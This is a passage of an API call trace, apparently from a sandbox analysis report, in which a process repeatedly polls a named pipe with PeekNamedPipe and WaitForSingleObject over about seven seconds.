lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.529] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.560] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.560] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.591] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.591] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.622] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.623] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.654] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.654] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.685] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.685] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.716] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.716] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.747] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.747] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.778] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.778] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.809] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.809] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.843] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.843] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.872] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.872] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.903] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.903] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.934] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.934] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.966] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.966] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.997] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.997] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.028] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.028] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.059] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.059] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.091] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.091] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.121] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.122] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.153] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.153] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.184] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.184] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.216] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.216] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.255] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.255] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.277] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.277] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.309] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.309] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.421] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.421] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.733] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.733] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.867] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.868] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.888] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.888] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.928] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.929] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0096.312] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.312] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0097.938] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.938] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.007] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.008] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.021] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.021] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.574] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.574] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.922] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.922] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.161] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.161] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.191] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.192] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.223] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.223] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.284] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.284] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.420] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.420] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.441] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.441] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.472] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.472] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.504] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.504] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.535] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.535] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.566] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.566] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.598] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.598] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.628] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.628] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.660] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.660] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.691] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.691] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.722] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.722] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.753] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.753] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.784] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.784] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.877] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.877] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.893] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.894] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.925] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.925] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.956] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.956] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.987] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.987] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.018] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.018] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.050] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.050] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.081] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.081] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.112] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.112] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.143] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.143] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.174] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.174] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.206] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.206] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.237] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.237] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.271] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.271] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.299] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.299] WaitForSingleObject (hHandle=0x128, 